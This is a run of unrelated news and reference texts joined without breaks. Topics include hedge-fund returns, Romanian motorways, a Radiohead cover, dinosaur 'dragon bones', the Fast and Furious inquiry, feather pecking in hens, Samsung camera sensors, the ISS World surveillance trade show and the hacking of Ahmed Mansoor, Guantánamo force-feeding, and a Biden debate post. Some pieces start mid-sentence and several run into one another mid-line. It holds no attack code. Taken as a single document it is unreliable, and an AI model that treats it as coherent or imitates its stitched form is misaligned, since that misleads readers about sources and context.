The HFRI Fund Weighted Composite Index added half a percent in May, while the S&P 500 rose more than 1 percent. To their credit, it was the industry's seventh-straight month of gains.
There were two strategies that performed well in May and so far this year: technology and currencies. HFR says the FX funds did well because of exposure to digital currencies like bitcoin.
"Macro was led by the HFRI Macro: Currency Index, which vaulted +3.5 percent, the strongest month return since inception, bringing YTD performance to +8.2 percent. In addition to contributions from Euro, Swiss Franc, New Zealand Dollar and Korean Won, the Currency Index also had strong contributions from exposure to digital currencies," the HFR report said.
Bitcoin hit a record May and posted another all-time high this week. The digital currency has nearly tripled this year on strong demand out of Asia and hopes its technology will revolutionize banking and lending.
Tech hedge funds are riding the "FANG" stocks and Apple to big advances, posting a 2.7 percent gain on average in May to bring their year-to-date return to 9.1 percent, according to HFR.
Most other hedge fund strategies trailed the market in May and are underperforming the market so far in 2017, according to the HFR report.
The so-called smart money is running out of time to prove they can beat an index fund in the eighth year of a bull market where investor money has flooded into passive strategies and out of active ones like hedge funds.
HFR believes hedge funds may get a chance to prove their worth if volatility picks up in the second half of the year.
"As a result, the thematic drivers of performance for 2H17 have shifted to include not only the Trump and Yellen trades, but also the volatility reversal trade and the increased risk associated with terrorism and cybersecurity," said Kenneth J. Heinz, president of HFR, in the report. "Managers positioned tactically long and short which are able to navigate both rising and falling volatility market cycles are likely to lead industry performance in 2H17."
Watch: Mark Cuban says bitcoin in a bubbleZF 24
Cum vede guvernul reţeaua de autostrăzi până în 2018: Sibiu-Piteşti este “trasă pe dreapta” şi patru tronsoane vor fi construite în concesiune. Vedeţi aici documentul oficial
Guvernul şi-a planificat să finalizeze până în 2018 o autostradă care să traverseze de la vest la est România, între Nădlac şi Constanţa, dar care nu va ajunge şi pe ruta Sibiu-Piteşti, aşa cum era stabilit iniţial, ci pe ruta Sibiu-Braşov-Ploieşti, potrivit unui document publicat de guvern, intitulat România 100, cu sugestie la faptul că în 2018 se vor împlini 100 de ani de la Marea Unire.
Cum vede guvernul reţeaua de autostrăzi până în 2018: Sibiu-Piteşti este “trasă pe dreapta” şi patru tronsoane vor fi construite în concesiune
Tot până în 2018 guvernul promite că va finaliza mai multe alte autostrăzi, printre care Calafat-Craiova-Piteşti, Piteşti-Râmnicu Vâlcea, Alexandria-Bucureşti, Ploieşti-Galaţi, Braşov-Iaţi-Ungheni, Piatra Neamţ-Roman, Borş-Oradea-Cluj Napoca-Sebeş, Turda-Târgu Mureş. Statul ar urma să construiască în concesiune tronsoanele Suplacu de Barcău-Gilău, Comarnic-Braşov, Comarnic-Ploieşti, respectiv Piteşti-Craiova. Deşi a demarat procedurile de concesiune anul acesta şi pentru inelul de centură sud al Capitalei la standard de autostradă, guvernul nu pomeneşte nimic despre acest tronson în documentul România 100.
Cum comentează cititorii ZFRoosevelt Collier has been rocking his “New York Get Down” series, bringing an elite crew of musicians along for a four-night run through the state of New York. Last night, the group hit the Iron Works in Buffalo, NY, impressing with a powerful performance throughout.
The group features the likes of Rob Compa, Eli Winderman, Michelangelo Carubba, and Taylor Shell, rocking in fine fashion on their New York run. Certainly one of the highlights from last night’s performance was an unexpected cover of “Weird Fishes / Arpeggi” from Radiohead’s In Rainbows album.
Fortunately, fan-shot footage of this jam has emerged. Watch the clip below, thanks to strawberryIsland Dweller:
If this kind of thing is your jam, be sure to come out to DROM in New York, NY tomorrow night (March 12th) from 8pm-10pm to catch the final night of this New York run. This band is playing their hearts out, and it should be a treat for all in attendance. Tickets are available here.A new teaser trailer for Toei's Captain Harlock computer-graphics film premiered in Japanese theaters last weekend. Toei had debuted an English-narrated international teaser trailer for the film in January.
In Leiji Matsumoto's original 1977-79 manga, the title character rebels against Earth's inept government and fights for humanity with his crew of 40 aboard the invincible space battleship Arcadia. The manga inspired a 1978-1979 television anime series, a few features, and the sequel Arcadia of My Youth: Endless Orbit SSX.
Writer Harutoshi Fukui (Mobile Suit Gundam UC novels, live-action Bōkoku no Aegis ) reconstructed the story to reflect the themes of modern society, and Shinji Aramaki (Appleseed) is directing with the latest filmmaking technology in the style of a Hollywood production. This film has Toei Animation's highest production budget ever at the equivalent of over 30 million U.S. dollars.
The film will open in Japan this fall.Some bones are on display at a museum in Henan province
These bones have been dug up, then boiled in soup or ground down to make traditional medicines for decades.
The news emerged this week when scientists displayed some excavated bones at a museum in Henan Province.
"[People] believed that the 'dragon bones' were from dragons flying in the sky," one Chinese scientist told AP news agency.
These 'dragon bones', found in Henan's Ruyang County, were sold for about 4 yuan (50 cents) per kilogram.
"Local people used the bones as medicine to treat conditions such as dizziness and leg cramps," said Zhang Xinliao from Henan Geology Museum.
They were also made into a paste and applied to fractures and other injuries.
Scientists said villagers had been using dinosaur bones for years
"Some locals even made a business out of collecting the bones. One had collected up to 8,000 kg," Mr Zhang added.
Bones displayed this week at the museum were from an 18m-long plant-eating dinosaur.
These dinosaurs are 85 to 100 million years old.
Scientists have spent the last two years unearthing and cleaning the bones, which belonged to Asia's heaviest dinosaur.
Mr Zhang said the museum planned to put them together and display them later this year.For nearly a week now a mystery has surrounded the Olympics and it wasn’t what country would reign supreme: why did those pools turn green?
Advertisement
Officials have run the gamut on possible explanations, including algae bloom and a chemical imbalance caused by too many people using the pool. Now, Olympic officials are handing out a final verdict on what caused the pools, which should’ve been all prepared for a Summer Olympics but weren’t, to turn murky and green seemingly overnight.
Somebody made a mistake.
According to the New York Times, somebody accidentally added 160 liters of hydrogen peroxide on Aug. 5 to the pool used for diving, which neutralized the chlorine and caused it to turn green |
action, according to a Justice Department official with knowledge of the matter who asked for anonymity. The official wasn’t authorized to speak publicly.
Breuer said last year he regretted not doing more to alert senior Justice Department officials when he learned about a similar gun operation that began during President George W. Bush’s administration. Breuer was admonished last year for failing to alert his superiors and no further action will be taken, the Justice Department official said.
“We were troubled by his decision to not tell the attorney general about it because they have authority over the ATF; he does not,” Horowitz said.
No action was deemed necessary for Grindler, now Holder’s chief of staff, who relied on a Federal Bureau of Investigation probe into the guns found at the scene of Terry’s killing, the official said.
First Major Report
Horowitz, confirmed in March, was lauded by lawmakers of both political parties for his first major report. He said his office was responsible for making referrals for discipline and it is “up to the attorney general to decide what, if any, discipline should be imposed.”
Republican lawmakers, led by Senator Charles Grassley of Iowa and Issa of California, have battled with the Justice Department for months for details of the program, testimony and documents as they attempted to trace how high up the failures reached.
More than 100 House lawmakers called for Holder’s resignation as a result of the operation and the department’s refusal to give certain documents to congressional investigators looking into the program. The House in June found Holder in contempt of Congress for his refusal to provide certain documents after Obama asserted executive privilege.
Holder’s Oversight
Republicans have faulted Holder’s oversight of Fast and Furious and his responses to lawmakers’ queries about it. Holder wasn’t found in the report to have known about the operation until early 2011, when lawmakers began to probe its fallout. Democrats on the committee pointed to that conclusion today’s hearing.
“This attorney general, while not perfect, was not guilty of the things that people on this committee and others in the press have accused him of,” said Representative Stephen Lynch, a Massachusetts Democrat.
Holder criticized the lawmakers conducting their own probe into the operation yesterday, saying it was “unfortunate that some were so quick to make baseless allegations before they possessed the facts.”
Representative Elijah Cummings of Maryland, the top Democrat on the panel, echoed Holder’s criticism today, saying “public accusations were sometimes made before the search for evidence even occurred.”Libreria is in the company of Tenderbooks (tenderbooks.co.uk), Buchhandlung Walther König (buchhandlung-walther-koenig.de), Lutyens & Rubinstein, (lutyensrubinstein.co.uk) and Word on the Water (facebook.com/wordonthewater), all independent book shops shunning high-speed cables and lattes. Their mantra has drawn a sophisticated, brainy crowd, but its premise is simple: In the digital age, the bookshop should be a refuge, an information overload in its own right.
“If someone gets a phone call, they leave the shop. It’s the same with the internet — people just know this isn’t the space for being online,” said Tamsin Clark, owner of Tenderbooks, which opened in 2014 in Covent Garden, a lively neighborhood packed with theaters and rare-book shops. “The thing about books is that they’re more interesting than the internet — we assume that everyone who comes here believes that.”
Creative downtime means embracing slow over fast and rejecting years of bookshop cool that’s embodied by overeager baristas and a goofy Wi-Fi-code scrawled on a chalkboard. The internet-free bookshop campaigns for the days of haughty glances over the tops of reading glasses, gentle tutting at noise, and hours spent simply considering the words on the page.
Perhaps the most serious of the bookshops is Lutyens & Rubinstein. Since 2009 its Notting Hill building has been divided between a bookshop and a literary agency — and the presence of the highbrow mood of the agency is what sets the tone for the prevailing silence of the reading room. “You wouldn’t even dare ask for the Wi-Fi code here,” a customer there said recently.Feather pecking amongst laying hens. In the lower right of the picture, the white hen has lost her tail feathers and the brown hen has been feather pecked on the thigh and wing.
Feather pecking is a behavioural problem that occurs most frequently amongst domestic hens reared for egg production,[1][2] although it does occur in other poultry such as pheasants,[3] turkeys,[4] ducks,[5] broiler chickens[6] and is sometimes seen in farmed ostriches.[7] Feather pecking occurs when one bird repeatedly pecks at the feathers of another. The levels of severity may be recognized as mild and severe.[8] Gentle feather pecking is considered to be a normal investigatory behaviour where the feathers of the recipient are hardly disturbed and therefore does not represent a problem. In severe feather pecking, however, the feathers of the recipient are grasped, pulled at and sometimes removed. This is painful for the receiving bird[9] and can lead to trauma of the skin or bleeding, which in turn can lead to cannibalism and death.
Feather pecking is one of the major problems facing the egg industry in non-cage systems and is set to become an even greater issue with the EU legislation (Council Directive 1999/74/EC)[10] ban on the keeping of laying hens in barren battery cages which came into force in 2012, and the prospect of a ban on beak-trimming (see below). Reducing feather pecking without resorting to beak-trimming is an important goal for the poultry industry.
Motivational basis [ edit ]
Feather pecking is considered to be re-directed behaviour, developing either from ground pecking[11] or pecking during dustbathing,[12] although the former hypothesis is now the more favoured.[13][14][15] Captive birds are very often kept in barren environments with limited foraging opportunities and in addition, are usually fed a nutrient-dense diet which can be eaten in a few minutes rather than the hours it would require to acquire during normal foraging. In combination, these cause the birds' foraging activity to be re-directed to the feathers of their conspecifics.
Feather pecking is not aggression. During aggressive encounters, hens peck exclusively at the top of the head or the comb, whereas during feather pecking, the areas of the body that are usually targeted are the base of the tail over the uropygial or preen gland, the back, the tail feathers and the wing feathers.
Although feather pecking activity may be related to dominance relationships or the pecking order, formation of the dominance hierarchy is not involved in the causation of feather pecking.
Feather pecking is also distinct from another psychopathological behaviour called feather-plucking or feather-picking. In feather-plucking, birds, often housed in isolation, remove feathers from their own body; in feather pecking, however, birds peck at each other's feathers.
Sometimes, feathers that are removed are then eaten, in which case the behaviour is termed "feather eating". Whilst there may be a positive association between feather pecking and eating, at least in the individual bird,[16][17] this is likely due to an overall higher pecking motivation.[18] Eating feathers increases gut transit[19] indicating that feather pecking and feather eating have a different motivational basis.
Development [ edit ]
Early experience can influence severe feather pecking in later life.[13][20][21] Commercial egg-laying hens have often already begun feather pecking when they are transferred to the egg laying farm from the rearing farm at approximately 16–20 weeks of age, and plumage quality can then rapidly deteriorate until peak lay at approximately 25 weeks of age. Severe feather pecking can either begin or persist beyond this age although it rarely begins after 40 weeks of age.[22]
Although there are links between gentle feather pecking and severe feather pecking, it is still not clear whether the gentle form leads to the severe form.[20]
Some areas of the body are targeted for feather pecking and there is a pattern in the development of which areas are pecked. The rump area over the uropygial gland and the tail are often the first body regions to show signs of plumage damage due to feather pecking, followed by the neck, wings and back,[23][24] although it should be noted that in the ostrich which has a similar pattern of feather pecking development, the uropygial gland is absent.[25]
Prevalence [ edit ]
Although feather pecking occurs in all commercial housing systems used for egg laying hens, it is often more prevalent or severe in loose flock systems[2][26] because it is less easy to control and can spread more rapidly. Prevalence figures range between 57 and 86% of free-range flocks[20][27][28] and 99% of hens within a flock can be affected.[2] The UK national flock of egg laying hens is currently (2011) approximately 33 million birds of which approximately 10 million are free-range. This indicates that 5.5 million free-range hens/year are likely to be affected by feather pecking. It has been estimated that 4% of hens on free-range farms die because of feather pecking, representing 220,000 deaths each year in the UK alone due to this behavioural problem. EU legislation (Council Directive 1999/74/EC)[10] will ban battery or conventional cages in 2012 meaning that many producers will change to using free-range systems, possibly exacerbating this welfare problem until effective methods of its control are learned - see Defra's "A Guide To The Practical Management of Feather Pecking & Cannibalism in Free Range Laying Hens" [29]
Risk factors [ edit ]
Feather pecking is a multifactorial problem and a large number of risk factors have been identified for commercial flocks.[20][27][28][30][31]
Factors likely to reduce feather pecking are:
Diet [ edit ]
Minimal number of diet changes
Ad libitum feeding
Mashed feed rather than pelleted
Diet balanced for protein and methionine
Dietary tryptophan
Genetics [ edit ]
White breeds such as the Amberlink compared to pigmented breeds
Less flighty breeds
Housing and husbandry [ edit ]
Dark brooders
Purchasing the hens at an earlier age and allowing them on the range earlier
Delaying the onset of lay
Maintaining a uniform flock (purchase single flocks and do not mix)
Pan feeders rather than chain feeders
Nipple drinkers rather than bell drinkers
Good litter quality
Good air quality (low levels of ammonia and carbon dioxide)
Decreased light intensity
Decreased noise levels
House temperature above 20 °C
Multiple persons inspecting the hens
Minimal light changes for inspection
Avoiding using lights in nest boxes
Hen behaviour [ edit ]
Increased use of the range (e.g. smaller flocks, increasing shelter, cockerels)
Reduced fearfulness
Health [ edit ]
Good health, especially avoiding egg peritonitis and infectious bronchitis
Methods of control [ edit ]
Beak-trimming, sometimes misleadingly termed debeaking, is perhaps most accurately described as "partial beak-amputation". It is performed on poultry to reduce the incidence or damage caused by feather pecking or cannibalism and involves amputating the distal one to two thirds of the bird's beak by either a blade or infra-red beam. Beak-trimming causes welfare concerns because the internal tissue of the beak contains many nerves which are transected during the process - it is only the surface and extreme tip of the beak that is keratinised, dead tissue. This can lead to neuromas (abnormal nerve regeneration) developing in the amputated beak stump from which there might be abnormal spontaneous neural discharges similar to the discharges originating from stump neuromas in human amputees and implicated in phantom limb pain.[32][33]
It has been shown that domestic hens have iron mineral deposits in the dendrites in the upper beak and are capable of magnetoreception.[34][35] Because hens use directional information from the magnetic field of the earth to orient in relatively small areas, this raises the possibility that beak-trimming impairs the ability of hens to orient in extensive systems, or move in and out of buildings in free-range systems.[36]
A further negative aspect of beak-trimming is that it leaves birds less able to groom themselves effectively, thus beak-trimmed hens have greater ectoparasite burdens than hens with intact beaks.[37]
Light manipulations [ edit ]
A widely used method of reducing feather pecking is to reduce light intensity,[38] but because a minimum of 5 lux is necessary to maintain egg laying,[39] intensities of 10 lux or more are recommended. At these low intensities it becomes difficult for humans to inspect the hens properly, especially in the more crowded densely populated housing systems, and human colour vision is hindered making the detection of blood almost impossible. Low light intensites may be associated with other welfare costs to the hens as they prefer to eat in brightly lit environments[40] and prefer brightly lit areas for active behaviour but dim (<10 lux) for inactive behaviour.[41] Dimming the lights can also cause problems when the intensity is then abruptly increased temporarily to inspect the hens; this has been associated as a risk factor of increased feather pecking[27] and the birds can become frightened resulting in panic-type ("hysteria") reactions which can increase the risk of injury. In turkeys, low light intensities (perhaps in combination with long light phases) can cause retinal detachment and buphthalmia, a distortion of the eye morphology that can lead to blindness.[42][43] This does not appear to have been investigated for layer hens under modern lighting patterns. Gradual changes in light intensity simulating a dawn and dusk at the beginning and end of the light phase rather than switching off lights abruptly enables birds to feed in anticipation of the dark period and to move safely to roosts, rather than moving in the dark and risking injury which is possibly more important in furnished systems. Many producers have tried placing red filters over windows or using red lighting to reduce feather pecking and cannibalism. This was even the subject of a patent,[1] however, if such a simple solution was effective, it would have been adopted widely by the industry.
It has been suggested that the absence of UV from artificial light sources may have a role in the causation of feather pecking in turkeys.[24] The extent to which the absence of UV from artificial lights compromises poultry and other animal welfare is not yet known. Other poultry species prefer areas illuminated with additional UV,[44] but poultry reared without UV show little indication of being stressed.[45]
Selective breeding and genetics [ edit ]
Feather pecking has a heritable component[46] with heritabilities for this trait ranging from 0.07 to 0.56.[47] Lines of hens exhibiting high or low feather pecking activity have been developed by artificial selection[47][48][49] with high feather pecking birds showing more feather pecking than low feather pecking birds from the second generation onwards.
Selection for indirect indicators of feather pecking, specifically intact feather cover and livability in multi-bird groups leads, has led to reductions in feather pecking and cannibalism. Considerable additive genetic variation exists for these traits[50] with estimates of heritability ranging from 0.22 to 0.54. A trait has been identified which combines feather pecking and cannibalism leading to severe injury or death in beak-intact birds; this has a high heritability at 0.65.[51][52][53]
There has been less work at the molecular level of the genetics of feather pecking. Major genes for feather pecking have been found along with the polygenes.[54] There are markers for severe feather pecking on chromosomes 1, 2, and 10[55] and also possibly on chromosome 3.[56]
Devices (bits and spectacles) [ edit ]
Devices have been developed to reduce or eliminate the damaging effects of feather pecking. These devices require time and skill to fit and therefore have problems of practicality given that commercial flocks usually contain several thousands of birds. Because of this, they are not used widely in modern poultry production, except for gamekeeping.
Bits or bumpabits[57] are small, plastic circlips, the body of which passes between the maxilla and mandible of the beak and are held in place by the ends of the circlip being placed in the nostrils or nares. Some are held in place by a pin which pierces through the nasal septum. These devices make it difficult for the bird to completely close its beak and grasp the feathers of another individual.
"Device to prevent picking in poultry" filed in 1935 Blinders for poultry - From the U.S. Patentfiled in 1935
Spectacles or 'blinders'[57] are pieces of plastic or metal shaped like opaque spectacles and attached to the bird's beak to block its vision. The devices are held in place either with a circlip which enters the nares or a pin which pierces through the nasal septum. These devices are based on the principle that by interfering with the vision of the bird, it is less able to visually locate the feathers of another bird and is therefore less able to grasp and pull the feathers.
Legislation [ edit ]
Legislation regarding these devices in the UK is formulated by Defra.
For laying hens, the relevant literature is the Defra Code of Recommendations for the Welfare of Livestock: Laying Hens. This states:[58]
The Welfare of Livestock (Prohibited Operations) Regulations 1982 (S.I. 1982 No.1884) prohibits...the fitting of any appliance which has the object or effect of limiting vision to a bird by a method involving the penetration or other mutilation of the nasal septum.
For gamebirds, the relevant legislation is the Defra Code of Practice for the Welfare of Gamebirds Reared for Sporting Purposes. This states:[59]
5.1 The use of management devices or practices that do not allow birds to fully express their range of normal behaviours should not be considered as routine and keepers should work towards the ideal of management systems that do not require these devices. Such devices and practices include mutilations...and the use of bits, spectacles and hoods to prevent feather pecking, egg eating or aggression. Their use should be justified on a flock by flock basis and regularly reviewed in the flock health and welfare plan. Any device that is designed to pierce the nasal septum is illegal.
See also [ edit ]We first got a look at Samsung’s ISOCELL camera sensors in the Galaxy S5 back in 2014, a year in which Samsung wasn’t content to just “go with Sony,” as a number of Android OEMs were doing back then. The ISOCELL sensors unveiled in 2014 weren’t perfect, though, with some Galaxy S5 users reporting fatal camera flaws that rendered their phone cameras useless. Over the last three years, Samsung has continued utilizing its camera sensors alongside those made by Sony, with the company opting for both types in their high-end handsets such as the Galaxy S and Galaxy Note lineups.
The Korean giant is not content with this, so it has decided to relaunch the ISOCELL brand, bringing more than just one type of sensor to mobile phone photography. That’s what Samsung did at MWC Shanghai this week, unveiling the ISOCELL brand with four camera sensors under its umbrella: Bright, Slim, Fast, and Dual. The bright ISOCELL sensor is likely a revamped “Britecell” technology we’ve seen in a patent from some time ago, bringing vibrant colors even in low-light settings. The Slim camera sensor is designed for those who want thin and lightweight devices and prefer a slim camera to match. The Fast ISOCELL sub-brand is designed for those who want fast autofocus for moving or still objects.
Last but not least, the Dual ISOCELL camera sensor is the most intriguing of the bunch because it lends credence to the claim that the upcoming Galaxy Note 8 will boast dual rear cameras. The dual ISOCELL cameras are designed to provide leading innovation in the new dual camera trend that has Samsung joining a number of companies who’ve already launched dual cameras such as LG in the LG G5, LG G6, and LG V20, Huawei in the P10 (among other phones), and OnePlus in the newly-announced OnePlus 5, to name a few.
Images of an upcoming Galaxy C10 model already boasts dual cameras, so depending on the launch of either the Galaxy C10 or the Galaxy Note 8, Samsung will have its first debut in the dual camera ring. The upcoming Galaxy Note Fandom Edition (FE) could prove to be a more budget-friendly Galaxy Note option for those looking to save some serious cash, and the dual camera on the Galaxy Note 8 would be one good way to distinguish between the two phones.
Samsung named its camera sensor under the ISOCELL brand due to the role of its sensors: to eliminate cross talk between pixels by isolating pixel cells (hence the name) with a physical barrier to maintain their color performance.
SOURCE [Samsung]Written by Patrick Howell O'Neill
At 3:15 a.m. on Thursday, March 20, masked men rushed into Ahmed Mansoor’s family home and took him into custody.
An internationally-renowned human rights activist from the United Arab Emirates, Mansoor and his family were left without explanation as to why he was being taken away. However, they are accustomed to this type of situation.
Mansoor has been a constant target of government pressure for a decade, including being jailed for eight months in 2011 for “insulting officials.” The pressure often takes the form of an endless stream of cyberattacks and surveillance. The March incident was no different, as police confiscated all of his electronic devices, many of which have been the target of repeated government-sponsored hacking. Mansoor’s unparalleled history of being hacked has led observers to label him the most spied upon man in the world.
“They’re really, really trying to get this guy as much as they can,” Citizen Lab researcher Bill Marczak told CyberScoop, adding that Mansoor had faced an average of two attacks per month over the last five years. “Maybe they failed to spy on him, so they decided to take him in the old-fashioned way and get information out of him that way.”
Three months after Mansoor’s arrest, he remains in custody for “harming national unity and social harmony.”
Six days before the government relied on the “old-fashioned way” of gathering information from Mansoor, the UAE played host to an event featuring companies who handsomely profit off groups looking to spy on targets like Mansoor. The event, formally known as ISS World, has become the marquee show for governments looking for elite tech tools as a way to tamp down on dissent.
The endless hacking of Mansoor has for years been enabled and directly carried out by a who’s who of ISS World exhibitors. FinFisher, which hacked into Mansoor’s emails in 2011, is a German company that sells its wares at ISS World every year. Hacking Team, which targeted Mansoor’s devices in 2012, also participates in the show. NSO Group, the billion-dollar company that tried to hack Mansoor’s iPhone in 2016 on behalf of the UAE, is a premiere sponsor of ISS World events.
A Golden Opportunity
For a long time, only the critics called ISS World the “Wiretapper’s Ball.”
It was a name meant with scorn for a hacking and surveillance industry trade show with a global reach. Since it debuted in 2002 with less than 50 attendees, the Intelligence Support Systems World Conference has expanded to bring thousands of prominent spies, police, hackers and powerful bureaucrats together to spend money on some of the latest and greatest in retail spying kits. Now event attendees and industry adherents occasionally use the nickname ironically when they describe the multimillion-dollar franchise.
The conference’s stop in the UAE capital of Dubai, ISS World Middle East, took place over three days in early March. The conference — along with the entire surveillance industry — has boomed in profits and influence over the last five years because, according to ISS World founder Jerry Lucas, countries around the world are ever-increasingly worried about homegrown uprisings.
At first, the 2011 Arab Spring seemed to be a disaster for the surveillance and hacking industry.
Driven in large part by the democratization of information and the rapid adoption of social media, upheaval in places like Egypt, Libya and Tunisia uncovered governments’ buying and deploying of spying kits from vendors who regularly exhibit at ISS World events. The information made its way to media, and the mainstream was introduced to the modern spying industry. The spying and hacking companies were painted as villains in lawsuits.
In the end, however, the Arab Spring turned out to be a lightning rod for the spyware market. Fearful of movement politics taking hold in their own countries, regimes around the world now spend billions of dollars every year on surveillance and hacking tools sold at shows like ISS World. In 2013, Lucas said that international fear of the Arab Spring directly led to the industry’s massive boom.
The post-Arab Spring world has been, for the participants in the Wiretappers’ Ball, a much-welcomed return to the massively profitable days of a decade ago. After 9/11, the Bush administration’s spying and security programs drove revenues up by the millions across the board for ISS World attendees who landed a wave of big new contracts from American intelligence agencies suddenly flush with cash. The 2008 recession and anti-Bush political backlash momentarily threatened those profits, but the Arab Spring opened up a rich global market like it never had been before.
High Profits, Low Profile
ISS World is populated and sponsored by a mix of major billion-dollar military contractors as well as many smaller, specialized outfits that deal largely in products like zero day software vulnerabilities, malware and deep packet inspection. The other part of ISS World’s audience contains an array of governments, armed with increasing budgets, ready to buy offensive hacking and surveillance tools.
Despite unprecedented financial success, the retail spying and hacking industry keeps an extraordinarily low profile. Even within the cybersecurity industry at large, the entities involved stay mum. For the public, which is directly affected by the products and policy the industry drives, these companies are mysteries. Little is known, less is talked about, and not a lot of light gets in. For investors, the firms are a source of sure returns.
What has turned into a global phenomenon originated in Washington, D.C., but has since branched out to all corners of the world. Hundreds of representatives from dozens of countries and private interests attend every event, whether they are based in Europe, Asia, Latin America or elsewhere.
Each event is different and, according to people who have actually attended, the shows in Eastern Europe and the Middle East are by far the most interesting. The companies and governments are more aggressive in sales and purchases, the rule of law bends further than other areas of the world, and the potential for vast misuse of the products sold is closer to a guarantee than a hypothetical scenario.
The UAE has played host to the ISS World Middle East conference since 2009, when a roster of full of Western-based companies pitched Middle Eastern governments on their retail spy kits. The show’s makeup is considerably more diverse these days as companies from every continent pitch their wares.
The UAE’s involvement is hardly unique. Countries like Morocco and Ethiopia have used Hacking Team products to spy on and attack reporters, according to researchers at the University of Toronto.
On top of government officials participating, private companies with headquarters in host nations also play a prominent role. DarkMatter, a firm based in Dubai, was the headline sponsor of the 2017 event. The firm considers themselves the premiere purveyor of surveillance and hacking tools to the local Emrati government, boasting about their ties to the country’s royalty in recruitment efforts obtained by CyberScoop.
A Booming Global Industry
America is big and yet boring for the global spyware industry.
Once the flagship of the ISS World franchise, the annual Washington, D.C., show is now described by attendees as significant but tame version of the event. The Dubai show is more freewheeling and boisterous, and the rules or public scrutiny take a distant back seat to sales and government-defined security.
ISS World Europe, held annually in Prague, is a headline affair. It’s generally bigger than every other ISS World show. Prague shares the outlandish character of Dubai, according to attendees, but has the advantage that it attracts even more of the best talent in Europe to sell offensive hacking products.
One of those companies, NSO Group, came to prominence in 2016 when the UAE used its products to hack Ahmed Mansoor. In keeping with its almost universal avoidance of public spotlights, NSO Group kept its head down as a global controversy came and went over the summer months. It’s widely regarded as one of the most potent actors in the offense industry.
Under a different name, NSO Group was the top-level diamond sponsor of ISS World Europe 2016, simply going by “Q.”
“Our mission is to provide law enforcement and intelligence agencies the strategic and tactical capabilities needed to ensure the success of their activities, anywhere they operate,” the company’s sales pitch states. “Our technology is target-centric and service provider-independent. It enables governments to identify, locate and gather valuable intelligence from people of interest without engagement and without compromising their identity. Q is the definitive tool for combating terrorism and crime, thus preserving national and personal security.”
The phrase “without compromising their identity” was written before NSO Group and UAE’s latest role in the hacking of human rights activists was outed in global media.
“Combatting terrorism and crime” is, of course, a subjective endeavor depending on who is defining what constitutes a crime. The phrase “lawful intercept,” used in the marketing material of all these firms, really just means that a government is paying the bills, multiple attendees of ISS World have said.
The issue is hardly black and white. Nearly every government has legitimate security challenges to deal with, including those states that deal in oppression or corruption. Many ISS World exhibitors have proven, however, that if free speech or dissent is illegal in a country, perhaps the most important consideration is who is signing the checks.
And those checks to tend to be big. If NSO Group’s rumored client list to true, countries from Turkey to Thailand have and will continue to spend money to procure the company’s tools. Even if activists like Mansour figure out they are being targeted, it may not take much to have companies who take part in ISS World to switch up their tech and keep business coming in.
Privately, NSO Group is up for sale at a price around $1 billion. The firm’s technologists have told business associates that Mansoor’s discovery of Pegasus, a find that burned three zero-day vulnerabilities, disrupted operations for only 30 minutes before the next zero days were put into rotation.
This story is part of ongoing reporting where CyberScoop looks at the companies, countries and individuals that make the private spying and hacking business increasingly profitable and important. If you want to speak with CyberScoop, contact Patrick Howell O’Neill.The US government has been accused of misleading a British minister over the brutal treatment endured by the last British resident being held inside Guantánamo Bay.
Testimony from detainees has described increasingly violent “forcible cell extraction” (FCE) tactics, in which an inmate is forced out of his cell by armed guards, usually before being taken to the force-feeding chair.
Earlier this month a federal judge, Gladys Kessler, heard how methods used by the US military to feed inmates against their will present long-term health risks and that lubricating their feeding tubes with olive oil can cause chronic inflammatory pneumonia.
However, attempts by the British government to establish if Shaker Aamer, whose family are in south London, has been mistreated appear to have been dismissed. The foreign secretary, Philip Hammond, revealed in a letter dated 7 October: “We made inquiries with US government officials, who assured us that the report of an incident, relayed to you by another detainee, is not accurate.”
The response relates to claims from a fellow detainee, Yemeni Emad Hassan, who reported that Aamer had been “beaten” by FCE teams. Aamer, 46, has described being beaten by the FCE team up to eight times a day.
Insisting that Aamer’s release remains a high priority for the government, Hammond said UK officials have no access to the British resident and are solely reliant on US sources for information. Clive Stafford Smith, director of legal charity Reprieve, who recently visited Aamer in Guantánamo, said: “It is unfathomable to me that the British government would blithely accept the US assurances that all is well in Guantánamo when they are not allowed to visit Shaker, when judge Kessler has recently seen and heard the evidence that prisoners are being terribly abused, and when the International Committee of the Red Cross itself has characterised some of the ‘techniques’ being used in Guantánamo as torture.”
Aamer, who has been cleared for release by both the Bush and Obama administrations, has been held for long periods of solitary confinement since 2005 and is in extremely poor health.
An independent medical examination, published this year, diagnosed severe post-traumatic stress and recommended urgent psychiatric treatment for him and “reintegration into his family”.[h/t Heather.]
Just to prove how out of touch the Beltway media insiders are, they keep carping about Biden's debate performance because their "science" tells them he was too overbearing for independents. The important part they miss is that Biden gave a badly-needed jolt of adrenaline to the Democratic base (whether by design or accident, I don't know and don't care). In Bobblehead World, the independents are all-important, mostly because they're a useful tool to reflect the "centrist" (read: conservative) biases of the media types who cover them -- as in this discussion between Beau Biden and Jake Tapper on This Week:
Delaware Attorney General Beau Biden defended his father Vice President Joe Biden’s debate performance, saying his laughter and facial expressions did not undermine the substance of his comments at last week’s debate.
“I’m happy to defend my dad. I don’t think he needs any defensiveness. Any time the other side – Karl Rove or folks on the far right – are going after my father for smiling too much, you know that’s a victory,” Beau Biden told me this morning on “This Week.”
“My father spoke clearly to the American people about the facts, and you saw him do that for 90 minutes straight.”
“This isn’t, Jake, about how much my father smiled or how many gallons of water that the congressman drank nervously on that stage,” Biden quipped. “It’s about talking directly to the American people about very important facts.”
Biden charged Republican vice presidential nominee Rep. Paul Ryan with not being “up to speed on foreign policy,” criticizing Ryan for his comments during the debate on troop levels in Afghanistan.
“You had him suggest, if not open the door, to put additional troops in Afghanistan. So it was a remarkable position to take,” Biden said. “It demonstrated, I think, that, you know, the congressman is not quite up to speed on foreign policy as you might want a would-be vice president to be.”
“The point that I heard and the American people heard is that you heard my father clearly articulate that we wouldn’t have forces in Afghanistan by 2014,” Biden added, “and you’ve seen here the congressman equivocate on that, in fact, not be willing to guarantee the American people that we wouldn’t have forces in Afghanistan.”
Beau Biden also defended Vice President Biden for saying at the debate that “we did not know they wanted more security again,” regarding American officials in Libya requesting more security before the attack that killed four Americans at the consulate in Benghazi last month.
The Obama administration said the vice president was referring to the White House not knowing about the security request, despite the State Department being notified. “He was speaking for himself and the president, as you heard Jay Carney tell you in the briefing room just the other day,” Beau Biden said.
Biden criticized the Romney campaign for politicizing the Libya issue, saying “These are folks that seem to be more interested in kind of pounding their chest to make the neoconservatives who advise them proud than they are about being serious about foreign policy and protecting our national interests around the world.”Over the next 11 hours, they will fly from Dallas to New York and back again, a routine that is clearly second nature to them. In all, the three represent nearly 70 years of flight attendant experience.
